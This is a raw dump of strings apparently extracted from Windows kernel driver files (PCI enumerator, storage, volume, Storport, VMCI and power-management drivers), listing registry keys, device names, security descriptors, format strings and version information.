PREVENT_REASON_LEVEL3_1_DEMOTION PREVENT_REASON_LEVEL3_1_LTR PREVENT_REASON_LEVEL3_1_NDE PREVENT_REASON_LEVEL3_2_TNTE PREVENT_REASON_LEVEL3_2_DEMOTION PREVENT_REASON_LEVEL3_2_LTR PREVENT_REASON_LEVEL3_2_NDE C2-C9.CTA_PKGC_CANNOT_KILL_TARGET_ACTIONS C2-C9.CTA_PKGC_CANNOT_KILL_GVFSM C2-C9.CTA_WAKE_REASON_PMIP C2-C9.CTA_PKGC_CANNOT_KILL_DFX C2-C9.CTA_PKGC_CANNOT_KILL_RING_RSRC C2-C9.CTA_PKGC_CANNOT_KILL_IP_RSRC C2-C9.CTA_PKGC_CANNOT_KILL_IP_MEMORY C2-C9.CTA_PKGC_CANNOT_KILL_MEM_RSRC C2-C9.CTA_PKGC_CANNOT_KILL_PCH_MC C2-C9.CTA_PKGC_CANNOT_KILL_STALE_TEMPS C2-C9.CTA_PKGC_CANNOT_KILL_PKG_DEMOTION C2-C9.CTA_PKGC_CANNOT_KILL_SLOWLOOP_TIMER C2-C9.CTA_PKGC_CANNOT_KILL_DISP_PMDMD C2-C9.CTA_PKGC_CANNOT_KILL_LTR_IPU C2-C9.CTA_PKGC_CANNOT_KILL_MEDIA C2-C9.CTA_PKGC_CANNOT_KILL_IPU_ALIVE_RING C2-C9.CTA_PKGC_CANNOT_KILL_LTR_CDIE C2-C9.CTA_PKGC_CANNOT_KILL_LTR_GDIE C2-C9.CTA_PKGC_CANNOT_KILL_LTR_DISPLAY C2-C9.CTA_PKGC_CANNOT_KILL_LTR_IA_DOMAIN C2-C9.CTA_PKGC_CANNOT_KILL_TNTE_DISPLAY C2-C9.CTA_PKGC_CANNOT_KILL_TNTE_CDIE C2-C9.CTA_PKGC_CANNOT_KILL_LTR_PCH C2-C9.CTA_PKGC_CANNOT_KILL_TNTE_IPU C2-C9.CTA_PKGC_CANNOT_KILL_TNTE_PCH C2-C9.CTA_PKGC_BLCK_RESOLVE_ACCORDING_TO_TARGET C2-C9.CTA_PKGC_CANNOT_KILL_TNTE_GDIE C2-C9.CTA_PKGC_CANNOT_KILL_TNTE_IA_DOMAIN C2-C9.CTA_PKGC_BLCK_RESOLVE_DE_NOT_IN_DC6 C2-C9.CTA_PKGC_BLCK_RESOLVE_DEMOTED C2-C9.CTA_PKGC_BLCK_RESOLVE_NO_TIME_FOR_ACTIONS C2-C9.CTA_PKGC_BLCK_RESOLVE_NO_TIME_FOR_TNTE C2-C9.CTA_PKGC_BLCK_MODE_DEMOTE_CAUSE_IOSF_NOT_IDLE C2-C9.CTA_PKGC_BLCK_MODE_DEMOTE_CAUSE_FLOWPEND C2-C9.CTA_PKGC_BLCK_RESOLVE_NOT_RING_C7 C2-C9.CTA_PKGC_BLCK_MODE_DEMOTE_CAUSE_ACCORDING_TO_TARGET C2-C9.CTA_PKGC_BLCK_MODE_DEMOTE_CAUSE_SB_BRIDGE_NOT_BLOCKED C2-C9.PMT_PKGC2_RESIDENCY C2-C9.CTA_PKGC_BLCK_MODE_DEMOTE_CAUSE_NOT_ENOUGH_TIME C2-C9.CTA_PKGC_BLCK_MODE_DEMOTE_CAUSE_PCU_NOT_DRAINED C2-C9.PMT_PKGC7_RESIDENCY C2-C9.PMT_PKGC8_RESIDENCY C2-C9.PMT_PKGC3_RESIDENCY C2-C9.PMT_PKGC6_RESIDENCY PMT_LEVEL1_RESIDENCY PMT_LEVEL2_1_RESIDENCY C2-C9.PMT_PKGC9_RESIDENCY C2-C9.PMT_PKGC10_RESIDENCY PMT_PKGC10_3_RESIDENCY PCI_PEG(0/6/2) PMT_LEVEL2_2_RESIDENCY PMT_PKGC10_2_RESIDENCY PCI_RP(0/26/2) PCI_RP(0/26/3) PCI_RP(0/26/0) PCI_RP(0/26/1) PCI_RP(0/6/2) PCI_RP(0/6/3) PCI_RP(0/6/0) PCI_RP(0/6/1) LTR_SPA_STATUS LTR_SPB_STATUS PCI_RP(0/6/4) PCI_RP(0/1/0) LTR_SPE_STATUS LTR_SPC_STATUS LTR_SPD_STATUS KmdfLibrary TELASSERT \Registry\Machine\System\CurrentControlSet\Services\intelpep WindowsTrustedRT KmdfLibrary \Registry\Machine\System\CurrentControlSet\Services\WindowsTrustedRTProxy PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \Device\IntelTelemetryDevice KmdfLibrary TELASSERT \Registry\Machine\System\CurrentControlSet\Services\IntelPMT D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GR;;;WD)(A;;GRGW;;;S-1-15-3-1024-1221526253-3924910130-1751405008-69508222-1499930412-38408379-3528704847-309525946) PcwObject \Device\PcwDrv windowsPerformanceCounters \Registry\Machine\System\CurrentControlSet\Control\PCW\Security IoCreateDeviceSecure IoValidateDeviceIoControlAccess SeConvertStringSecurityDescriptorToSecurityDescriptor Properties Class NoDisplayClass NoUseClass Security DeviceType DeviceCharacteristics Exclusive \Registry\Machine\System\CurrentControlSet\Control\Class {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} KmdfLibrary \Registry\Machine\System\CurrentControlSet\Services\msisadrv PCI(%.2X%.2X) PCIROOT(%X) nPci PCI Memory (b=%x) ROOT ReservedResources \Registry\Machine\System\CurrentControlSet\Control\Arbiters AllocationOrder Interrupt Management\Affinity Policy DevicePriority DevicePolicy GroupPolicy AssignmentSetOverride BiosConfig IoNotRequired e5b3b5ac-9725-4f78-963f-03dfb1d828c7 Parameters PciEnableArbiterTracing SlotPersistentInfo MSISupported DEV_%02x&FUN_%02x MessageNumberLimit Interrupt Management\MessageSignaledInterruptProperties \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\MultifunctionAdapter Configuration Data Identifier %s\VEN_%04X&DEV_%04X&SUBSYS_%08X&REV_%02X %s\VEN_%04X&DEV_%04X&SUBSYS_%08X %s\VEN_%04X&DEV_%04X&REV_%02X %02X %s\VEN_%04X&DEV_%04X&CC_%02X%02X%02X %s\VEN_%04X&DEV_%04X&CC_%02X%02X %s\CC_%02X%02X%02X %s\VEN_%04X&CC_%02X%02X%02X %s\VEN_%04X %s\CC_%02X%02X %s\VEN_%04X&CC_%02X%02X %s\CC_%02X%02X&DT_%01X %s\VEN_%04X&DEV_%04X %016llX %s\CC_%02X%02X%02X&DT_%01X Routing Info Interrupt Management %04x.%04x.%02x.%04x.%04x %04x.%04x %04x.%04x.%02x \Registry\Machine\System\CurrentControlSet\Control\PnP\Pci %04d VideoAdapterBusses PCIBus \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System KsrBootPowerOnD3Devices PsGetVersion WmiTraceMessage WmiQueryTraceInformation PciDsmIgnoreBootConfigStrictMode FpbOptOutInNonNativeMode \Callback\IoExternalDmaUnblock Cancel state transition to %ws, status=0x%x VmProxy PCIP VirtualizedDevices DevicePaths PCI Bus Number (b=%x) PCI I/O Port (b=%x) ASPMOptOut ASPMOptIn AtomicsOptIn EnableAllBridgeInterrupts HotplugSupportOptOut BridgeUseNativeWakeInfo Component Information %wsPCI-%p Control\PnP\PCI\CfgRecordOverride \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control\pnp\pci DisableExternalDMAUnderLock D:P(A;;GA;;;SY)(A;;GA;;;BA)(A;;GA;;;NS) \Device\PciControl \DosDevices\PciControl NULL SettleTimeRequired IgnoreErrorsDuringPLDR ForceSBR D3ColdSupported RecoveryDisabled RecoveryEnabled USB4@%ws DeviceD0DelayTime DevicePowerResetDelayTime BusDataLinkSettleTime BusDelayTimeAfterDpc BusDpcRpBusyTime DeviceDpcResetActionOverride DeviceDpcCleanUpActionOverride [%s] (0x%04x.0x%02x.0x%02x): %s [%s] (Bus 0x%04x): %s [%s] (0x%04x.0x%02x.0x%02x) (Bus 0x%04x): %s RCEC [%s]: %s Begin state transition from %ws to %ws Finish state transition to %ws UNKNOWN SURPRISE_REMOVED STOPPED REMOVED STARTED UNINITIALIZED \Device\NTPNP_PCI%04d AcsNotRequired DoNotUseAcs HackFlags \Registry\Machine\System\CurrentControlSet\Control\Arbiters\ReservedResources BrokenMemAtF8 BrokenVideo &USB4_MS_CM %s\USB4_MS_CM PCIP\Generic ,%u,%u,%u ,%u,%u,%u,%u EtwRegisterClassicProvider EtwUnregister \Registry\Machine\System\CurrentControlSet Control\PnP\PCI PciCfgLogSize Control SystemStartOptions PCILOCK Control\BiosInfo\PCI PCILock EnableNativeModeATA Services\ACPI\Parameters Usb4ControlGranted \Callback\PowerState AsyncStartOverride WHEARecordCount eDpcDisabled eDpcRecovery AerMultiErrorDisabled BusIdleTimeoutOverride SkipAcsSourceValidationForAssignedDevice DDARecoverableAerMask eDpcHotplug Range StartingMessage EndingMessage MessagesPerProcessor KsrPriorityEnumerationEnabled SriovSupported %I64x_%d IoValidateDeviceIoControlAccess IoCreateDeviceSecure SeConvertStringSecurityDescriptorToSecurityDescriptor Class Properties NoDisplayClass Security NoUseClass DeviceCharacteristics DeviceType \Registry\Machine\System\CurrentControlSet\Control\Class Exclusive {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} InaccessibleRange MmConfigRange VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription NT Plug and Play PCI Enumerator FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName pci.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename pci.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation PCI Device VGA Device SCSI Controller IDE Controller Floppy Controller IPI Controller RAID Controller ATA Controller Serial ATA Controller SAS Controller Mass Storage Controller Ethernet Controller Token Ring Network Controller FDDI Network Controller ATM Network Controller ISDN Controller WorldFip Controller Network Controller Video Controller (VGA Compatible) Video Controller (VGA Compatible) 3D Video Controller Video Controller Multimedia Video Controller Multimedia Audio Controller Computer Telephony Device Multimedia Controller PCI Memory PCI FLASH Memory PCI Memory Controller PCI HOST Bridge PCI to ISA Bridge PCI to EISA Bridge PCI to Micro Channel Bridge PCI to PCI Bridge PCI to PCMCIA Bridge PCI to NUBUS Bridge PCI to CARDBUS Bridge PCI to RACEway Bridge Semi-transparent PCI to PCI Bridge Infiniband to PCI Host Bridge Other PCI Bridge Device PCI Serial Port PCI Parallel Port PCI Multiport Serial Controller PCI Modem PCI GPIB Controller PCI Smart Card PCI Simple Communications Controller System Interrupt Controller System DMA Controller System Timer Real Time Clock Generic PCI Hot-Plug Controller SD Host Controller Base System Device PCI Keyboard Controller PCI Digitizer PCI Mouse Controller PCI Scanner Controller PCI Gameport Controller PCI Input Device Docking Station Docking Station (Unknown type) 386 Processor 486 Processor Pentium Processor ALPHA Processor PowerPC Processor Coprocessor IEEE 1394 Controller ACCESS Bus Controller SSA Controller Universal Serial Bus (USB) Controller Fibre Channel Controller SM Bus Controller Infiniband Controller IPMI Interface SERCOS Interface CANbus Controller iRDA Compatible Controller Consumer IR Controller RF Controller Bluetooth Controller Broadband Controller Ethernet 802.11a Controller Ethernet 802.11b Controller PCI Wireless Controller Intelligent I/O (I2O) Controller Satellite Communications Television Controller Satellite Communications Audio Controller Satellite Communications Voice Controller Satellite Communications Data Controller Network and Computing Encryption/Decryption Controller Entertainment Encryption/Decryption Controller PCI Encryption/Decryption Controller DPIO Module Performance Counters PCI Communications Synchronization plus Time and Frequency Test/Measurement Controller Management Card PCI Data Acquisition and Signal Processing Controller PCI bus %1, device %2, function %3 PCI segment %1 bus %2, device %3, function %4 PCI Device en-US {8e7bd593-6e6c-4c52-86a6-77175494dd8e}\MsCompatibleVhdHba {8e7bd593-6e6c-4c52-86a6-77175494dd8e}\MsVhdHba VHD Bus 0 \DosDevices\GLOBAL\VDRVROOT \Registry\Machine\System\CurrentControlSet\Services\FsDepends PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister EnableVhdopDriver NULL {8e7bd593-6e6c-4c52-86a6-77175494dd8e}\MsCompatibleVhdHba2 {8e7bd593-6e6c-4c52-86a6-77175494dd8e}\MsVhdHba2 VHD Bus 1 %02d Microsoft_VHD_ISO_VHBA_%02d KmdfLibrary \Registry\Machine\System\CurrentControlSet\Services\vdrvroot DefaultTask DefaultSubtask ResiliencyType PdcpReferenceActivationInstanceResiliency PdcpDereferenceActivationInstanceResiliency PDCActivator nPDCRevocation \Registry\Machine\System\CurrentControlSet\Control\Power\PDC\VetoPolicy\EA EA:AusterityExperiment \Registry\Machine\System\CurrentControlSet\Control\Power\PDC\Activators \Registry\Machine\System\CurrentControlSet\Control\Power\PDC\TaskClients Default VetoPolicy S-1-15-3-1024-1502825166-1963708345-2616377461-2562897074-4192028372-3968301570-1997628692-1435953622 \PdcPort Invalid client NCSI DHCP TCPIP MSCHED Suspend/Resume PDC Suspend/Resume and Network-Refresh Activator Exempted KM Test Notification, Task & Activator Exempted UM Test Notification, Task & Activator Test Notification Test DAM client Test Singleton notification Test network service client Test system service client Test client Shell Maintenance Scheduler Sync Client Windows Push Notifications Voice Activation Tethering Client Audio Service Lock Screen LREC Client WP ExecMan Client WP Legacy MF Client WP Maps Client WP Sync Client Setting Sync Client WP EDM Client WP Wallet Client WP Location Client WP Legacy CM Client WP Data Collection Client WP WiFi Auto Connect Client BitLocker Provisioning/De-provisioning Client MDM Certificate Installer Client WP Rooms IM Client WP MMS Client Device enroller WP WiFi Background Scanning Client WP OmaDmClient Client WP Telemetry Check Client WP BMR DIS Upload Client BITS Service WP VoIP Execution Client WP Reserved3 Client SleepStudy Accounting WP AutoTimeUpdate Hyper-V Notification Client KM Signal Clients UM Signal Clients Device Health Attestation Xbox System VM Quiescence Client Xbox Host VM Quiescence Client Print Job Manager Universal Telemetry Client Windows Error Reporting Xbox Network Transfer Manager Continuous Background Execution Find My Phone Command Channel Platform PPM profiles client WiFi Calling Windows Update Client System Maintenance Service Xbox Update Maintenance Service Chat Service Find My Device Notifications forwarding and actions Install Agent Xbox Wake On Voice PLM Audio WP Audio Agent Wake on LAN Cloud Messaging Data Migration Manager EventSnd WWAN Dormancy Host Activity Manager File Sharing Server Directed DRIPS Task Client Directed DRIPS Resiliency Notification Client Directed DRIPS PLM Notification Client HttpsDataSource Terminal Server Remote Connection Terminal Server Remote Session AnyNetwork Resiliency Client Xbox NUI DAM Notification Client Wi-Fi Calling IMS PDC User Mode Sleepstudy Helper Library Client PDC Kernel Mode Sleepstudy Helper Library Client Container Manager user mode notification client Update Orchestrator Client Update UX Client HotKeyManager Client Servicing Platform Toast Notification Controller User Mode Shutdown In Progress Kernel mode Plug and Play client MDMDiagnostics client Win32k Activator Client User Mode Power Service PdcLockWatchdog PdcLockWatchdogTimeout \Registry\Machine\System\CurrentControlSet\Control\Power PdcLockStatsTelemetryPeriod PdcCriticalTransitionTimeout PdcCsEntryAction PdcWcmTransitionTimeout PdcCriticalActivatorTimeout PdcActivatorClientResponseTimeout PdcActivatorClientPolicyNotificationDebounce PdcCriticalActivatorAction PdcEnforceSystemIdleTimeoutOnConsoleLock kPdcOneWayEntry \Callback\DamExemptCheckCallback lPDCNotification dRegister Unregister Send frame to Receive frame from resiliency client, before processing Reference Receive frame from resiliency client, after processing Last reference removed on Dereference Power LidReliabilityThreshold LidReliabilityState PdcReplayLidClose \Registry\Machine\System\CurrentControlSet\Control\Power\Profile\Events\ Name PdcCsEntryPlmTimeout PdcCsEntryDamTimeout PdcCsEntryShellTimeout PdcCsEntryLowPowerTimeout PdcCsEntryResiliencyNotificationTimeout System Idle PDC Task Clients PDC Task Clients Internal PDC Transition Worker Remote Connection Power Requests V1_Unknown PdcClientInclusionList TELASSERT MediaBuffering \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\BackgroundModel\Brokers ServerAuth ServerPrincipal AvailabilityStateName IsRandom OwnerUserSid StartBoundary Condition NumberOfRepetitions Trigger TimeLimitInSeconds OwnerAppName DelayIntervalInSeconds EndBoundary RepetitionIntervalInSeconds \Device\Harddisk%d\Partition0 Partmgr SnapshotDataCache Attributes AttributesTableCache EnableCounterForIoctl partmgr.sys Stitched partition not supported ConflictPolicy Partmgr SanPolicy VolumeManagerAltitudes \Device\PartmgrControl \DosDevices\PartmgrControl MiniNT DiskId Network storage on Adapter %u PCI Slot %u Integrated : Bus %u : Device %u : Function %u : Adapter %u : Channel %u : Device %u : Port %u : Target %u : LUN %u : Port %u PartitionTableCache {%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}#%016I64X xSmallRandomReadPowerMw SmallSequentialReadPowerMw SmallRandomWritePowerMw LargeRandomReadPowerMw SmallSequentialWritePowerMw LargeSequentialReadPowerMw LargeRandomWritePowerMw FlushPowerMw LargeSequentialWritePowerMw \Registry\Machine\System\CurrentControlSet\Control\Power\EnergyEstimation\Storage\SD IdleState \Registry\Machine\System\CurrentControlSet\Control\Power\EnergyEstimation\Storage\HDD \Registry\Machine\System\CurrentControlSet\Control\Power\EnergyEstimation\Storage\SSD IdleStatesNumber \Registry\Machine\System\CurrentControlSet\Control\Power\EnergyEstimation\Storage\NVME IdleExitEnergyMicroJoules IdleExitLatencyMs IdlePowerMw IdleTimeLengthMs Microsoft shadow copy partition XVSC NULL MSFT Microsoft reserved partition Slot %u %s - Disk %d NULL \DosDevices\StorageEnclosure%d \DosDevices\StorageEnclosure#%wZ StorageSpaces-ClusterThinProvisioningEnabled Primordial Storage Spaces Virtual Disk Storage Spaces Tier Storage Spaces Write Cache Storage Spaces Drt Storage Spaces Virtual Disk Io Storage Spaces Virtual Disk Map PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \Device\Spaceport spaceport.sys spacedump.sys \Device\Space%d \DosDevices\Global\Space#%wZ Root\Spaceport 0000 STORAGE\Disk GenSmrDisk GenDisk Microsoft Storage Space Device IsDeleted Spaceport\Parameters PrimordialId ControlId EnableCacheLines AllowPagedPool DisableWriteThrough DisableCrashConsistency DisableDiscovery ScrubDirtyReads MinimumParityLogSize NumberOfDestageThreads CacheDestageQueueDepth ReallocationInterval ReallocationsPerInterval RepairQueueWidth RepairQueueDepth SwTimeout HwTimeout ResetTimeout ResetUnresponsiveTimeout ResetInterval NumberOfRegionLocks ScrubDelay \KernelObjects\Cluster.Service.Running.Event \DosDevices\Spaceport \Device\PartmgrControl {%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} \Device\Pool#%wZ \DosDevices\Global\Pool#%wZ Journal %s - Disk %d - Node {%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} Cache Log Cache Lines %s (%s) - Disk %d (Lines) %s (%s) - Disk %d - Node {%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} (Parity) %s%s - Disk %d Virtual Disk Msft NumAllocationFailures NumLargeEventFailures SummaryCount TotalEntriesFlushed MaxEntriesFlushed MinEntriesFlushed NumBucketLimitReached NumFlushes MaxEntriesStored \DosDevices\Harddisk \Device\HarddiskVolume NULL Dynamic volumes not supported volmgr.sys VOLMGR GptAttributeRevertEntries IsDeleted HotplugSecurityDescriptor Deny_Execute HotplugSecureOpen \Registry\Machine\System\CurrentControlSet\Control\Storage MiniNT SystemDriveLetter \Registry\Machine\System\Setup \DosDevices\HarddiskVolume STORAGE\Volume SCM\Volume \Partition SMR\Volume \DosDevices\SystemPartition \Device\VolMgrControl \ClusterPartition \Device\SystemPartition \Device\BootPartition \Device\Harddisk \DosDevices\VolMgrControl 0000 ROOT\VOLMGR \DosDevices\BootPartition \Device\HarddiskVolume%d \Registry\Machine\System\CurrentControlSet\Services\Partmgr EnableCounterForIoctl VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Intel PCI IDE Driver FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName intelide.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename intelide.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation TransferModeTiming \Device\Ide \Device\Ide\PciIde%d \Device\Ide\PciIde%dChannel%d PCIIDE\IDEChannel Intel PIIX PIIX3 PIIX4 Compaq WinBond %04x %ws-%ws Channel%d\ ChannelStateMask ChannelStateOffset 0123456789abcdef WMI\GlobalLogger\ Start Flags Level RtlQueryRegistryValuesEx Internal_IDE_Channel *PNP0600 \Device\Harddisk%d\Partition%d \DosDevices\Harddisk%dPartition%d {%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} \Callback\VMCIDetachCB \DosDevices\VMCIDev NtQuerySystemInformation \Device\vmci \DosDevices\vmci IoCreateDeviceSecure IoValidateDeviceIoControlAccess D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GRGW;;;WD)(A;;GR;;;RC) Properties Class NoDisplayClass NoUseClass Security DeviceType DeviceCharacteristics Exclusive \Registry\Machine\System\CurrentControlSet\Control\Class {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} SeConvertStringSecurityDescriptorToSecurityDescriptor RtlQueryRegistryValuesEx __vmware__ \Registry\Machine\SOFTWARE\Wow6432Node\VMware, Inc.\SID NtQuerySystemInformation KeFlushQueuedDpcs \Callback\VMCIDetachCB ROOT \Device\VMCIHostDev \Device\VMCIGuestDev \DosDevices\VMCIDev \VMX IoCreateDeviceSecure IoValidateDeviceIoControlAccess D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GRGW;;;WD)(A;;GR;;;RC) Properties Class NoDisplayClass NoUseClass Security DeviceType DeviceCharacteristics Exclusive \Registry\Machine\System\CurrentControlSet\Control\Class {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} SeConvertStringSecurityDescriptorToSecurityDescriptor IoConnectInterruptEx IoDisconnectInterruptEx IoGetAffinityInterrupt \Registry\Machine\System\MountedDevices \Registry\Machine\System\MountedDevices\Offline PsGetVersion WmiTraceMessage WmiQueryTraceInformation NULL EtwRegisterClassicProvider EtwUnregister \Device\MountPointManager \DosDevices\ \DosDevices\A: \DosDevices\MountPointManager \??\ \GLOBAL??\ \??\Volume \Device\CdRom \Device\Floppy \Device\VolumesSafeForWriteAccess \$Extend\$Reparse:$R:$INDEX_ALLOCATION \System Volume Information\MountPointManagerRemoteDatabase CVE-2015-1769 SystemBootDriveLetter NoAutoMount NONE dumpata.sys ataport.sys pciidex.sys %s.sys DeviceDumpVendorGPLogAddress DeviceDumpLevel \Registry\Machine\System\CurrentControlSet\Control\Storage\StorageTelemetry DeviceDumpMaxSize ScanCount ScsiDeviceType DeviceTimingMode DeviceTimingModeSupported DeviceType DeviceDetectionTimeout PCMCIA\*PNP0600 \Device\Ide\IdePort%d \Device\ScsiPort%d \DosDevices\Scsi%d: ReportSataBusTypeAsAta MaxTargetId DisableAcpiTimingMethods %x.%x.%x \Device\Ide Avio DisableAvio NumAvioPackets \Registry\Machine\System\CurrentControlSet\Services\setupdd \Registry\Machine\System\setup OobeInProgress SystemSetupInProgress \Device\Ide\IdeDeviceP%dT%dL%d-%x DisableTrim ATAport EnableFuaSupport DSMDataSizeCapInBlocks Is1667Device Target%d\ \Registry\Machine\System\CurrentControlSet\Control\Ataport\ Controller%d\Channel%d Controller%d \Registry\Machine\System\CurrentControlSet\Control\MiniNT \Registry\Machine\System\CurrentControlSet\Control\Storage\StorageTelemetry\ATA PrivateLogAddress PublicLogAddressList PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister TimingModeAllowed UserTimingModeAllowed RtlQueryRegistryValuesEx 0123456789abcdef WMI\GlobalLogger\ Start Flags Level SrbStatus IOCTLtoATA finished SrbControl Device Start Fail:DET is 4 ThrottleCount SrbPnPFlags PnPAction Completed PnP request Device Start Fail:DET Timeout SurpriseRemove|PowerSetting UnsolicitedINT|ResetNotWork PortDriverReset|TotalReset EndofMedia|IllegalCommand Reset|StartFail StateFlag AbortedCommand|DeviceFault SuccessCount IO Failure Stats Additional OtherError|NcqReadLogError PortStartTime|BusChange ErrorRecv|NonQError PowerUp|PowerDown StartState IO Failure Statistics NCQError|NCQErrorComplete CrcError|MediaError TestEventThrottling: Adapter TestEventThrottling: Channel Latency (ms) State Sys Power Hint SlotNumber SystemIoBusNumber PortImplemented PathId SrbFlags Function Srb sent to invalid port in BuildIo srbFlags function Adapter removed during BuildIo Processing PNP Completed GET_DUMP_INFO Completed FREE_DUMP_INFO AhciBaseAddress AdapterNumber Srb sent to invalid port in StartIo Shutdown set date and time Shutdown standby immediate Shutdown Completed dump pointers Invalid dump pointers request Dump pointers disabed by config Allocate dump context failed TransferLen Completed free dump pointers Invalid request sact serr ssts pxis Adapter surprise removed NormalIssued|SingleIssued CTC|NCQIssued SingleIOSlice|CI NCQSlice|NormalSlice SACT|TFD SERR|CMD IS|SSTS Error recovery Adapter removed: complete cmd DEVSLP.MDAT DEVSLP.DETO DEVSLP.DM DEVSLP.DITO DEVSLP.DSP DEVSLP.ADSE DEVSLP Mode DEVSLP Support SSTS.IPM Status Using HW DEVSLP DEVSLP Enabled CMD.ICC SACT Success DEVSLP Disabled Device Start Fail:FR CR error Device Start Fail:DET Error Device Start Fail:DET3 Timeout BSYDRQ total 60s Timeout BSYDRQ 1s Timeout BusChange|ThrottleCount NonQ'dErrRecov RunningStrtFail PortReset PortErrRecovery StateFlags AhciPortErrorRecovery Too many bus change Too many NCQ error Too many NonQueue error Device may be stuck Parameter4 Parameter3 Parameter2 Parameter1 ErrorRecovery|BusChange PortReset|StartFailed Reset:IO timeout DPC related Port reset:Device timeout IO Port reset:IO stuck Port reset:Unknown reason Port reset:Bus change Port reset:Power up in progress Port reset:Error recover SuccessCount|UnsolicitedINT AdapterErrorFlag AdapterStateFlag LastTimestampDpcComplete LastTimestampDpcStart ResetNotWork PortStartTime|NonQError Device stuck:Set fast fail Finished I/O with error CommandReg DriveHeadReg SectorCountReg FeaturesReg ReturnCode Firmware Download Completion ModeSpecific Mode MinTransBlocks MaxTransBlocks DataLength BufferOffset Firmware Download Firmware Activate Completion ParaList Len2 ParaList Len1 ParaList Len0 Buffer Offset2 Buffer Offset1 Buffer Offset0 Buffer ID Operation Code Firmware Activate StatusReg ErrorReg Get Physical Element status Remove Element And Truncate Internal Status Data Header Internal Status Data D_ThresholdHigh D_ThresholdLow MaxLevelBehavior NvCache Status NvCache Levels NvCache Size Hybrid Disk Srb Status Hybrid Get Info Post-RefCount Device CMD Sent Hybrid Caching Medium Enable Hybrid Caching Medium Disable Hybrid Set Dirty Threshold LBA Count Target Priority Source Priority Hybrid Demote By Size LBA Range Count Hybrid Change By LBA Evict All Hybrid Evict UpgradeSupport Size Version DataBufferLen Get Firmware Info FWBufOffset FWReqFunction FWReqVersion SrbDataBufLen Firmware Ioctl DeviceDumpVendorGPLogAddress \Registry\Machine\System\CurrentControlSet\Control\Storage\StorageTelemetry DeviceDumpMaxSize DeviceDumpLevel Translate SCSI_REQUEST_BLOCK RaidpAdapterDpcRoutine Translate STORAGE_REQUEST_BLOCK result kDiskPeripheral TapePeripheral PrinterPeripheral OtherPeripheral mWormPeripheral CdRomPeripheral ScannerPeripheral OpticalDiskPeripheral MediumChangerPeripheral tCommunicationsPeripheral ASCPrePressGraphicsPeripheral ArrayPeripheral EnclosurePeripheral CRBCPeripheral CardReaderPeripheral BridgePeripheral 64ms, 256ms, 1024ms, 5120ms, 5120+ms Flush, Unmap Read, Write NULL Parameters BusyRetryCount Device Device%d RtlQueryRegistryValuesEx MaxIOsPerLun MaxNumberOfIO %s\Scsi Port %d %ws.sys storport.sys dumpstorport.sys \SystemRoot\System32\Drivers\dumpstorport.sys PowerCycleCount Storport eScsi Port %d \Registry\Machine\Hardware\DeviceMap\Scsi \Device\RaidPort%d \Registry\Machine\System\CurrentControlSet\Control\Storage\StorageTelemetry\ATA PublicLogAddressList PrivateLogAddress InitialTimestamp PowerCycleCountOverride Storport Unit Reads Storport Unit Writes Storport Unit Transfers Storport Unit Queue StorPort TotalSenseDataBytes EnableIdlePowerManagement DisableRuntimePowerManagement DisableD3Cold IdleTimeoutInMS DlrmDisable UseDMAv3 PowerSrbTimeout BusSpecificResetTimeout PLDRTimeout DisableNVMeActiveNamespaceIDListCheck AdapterGuid FwActivateTimeoutForController RaidpAdapterRedirectDpcRoutine \Device\PhysicalMemory RaidCompletionDpcRoutine Interrupt Management\MessageSignaledInterruptProperties MSISupported Device incompatible with NVMe ICE interface Failed to query NVMe ICE required capability size Unexpected error status from NVMe ICE QueryCapabilities NVMe ICE interface does not support a page size of 4096 Failed to initialize NVMe ICE using compatible interface NVMe ICE interface has invalid 128-bit key size for XTS-AES. NVMe ICE Key slot is full. Retry program (v2) new capability. NVMe ICE Key table is full. Can't program (v2) new capability. NVMe ICE ProgramKeyV2 returned a transient error. Failed to program (v2) NVMe ICE capability. NVMe ICE ConfigureCapability returned a transient error. Failed to configure NVMe ICE capability. NVMe ICE ProgramKey returned a transient error. Failed to program NVMe ICE key. Invalid key handle returned. \DosDevices\StorportControl EnableNVMeInterface DMArSupport DMA Management RemappingSupported WmiTraceMessage PsGetVersion EtwRegisterClassicProvider WmiQueryTraceInformation Start EtwUnregister Flags WMI\GlobalLogger\ \Device\StorportControl Level \Registry\Machine\System\CurrentControlSet\Control\StorPort\ATADeviceIdMappings \Registry\Machine\System\CurrentControlSet\Control\StorPort\EnclosureIdMappings Microsoft Primitive Provider SHA384 SHA256 ObjectLength SHA512 \Registry\Machine\System\CurrentControlSet\Control\StorPort\NVMeAuthKeys HashDigestLength LogControlEnable DeviceQueueIoWaitThreshold LogSize TelemetryDeviceLogPagesPeriod HighLatencyIoThreshold StorportEtwErrorThrottleLimit DeviceTelemetryLiveDumpEnable 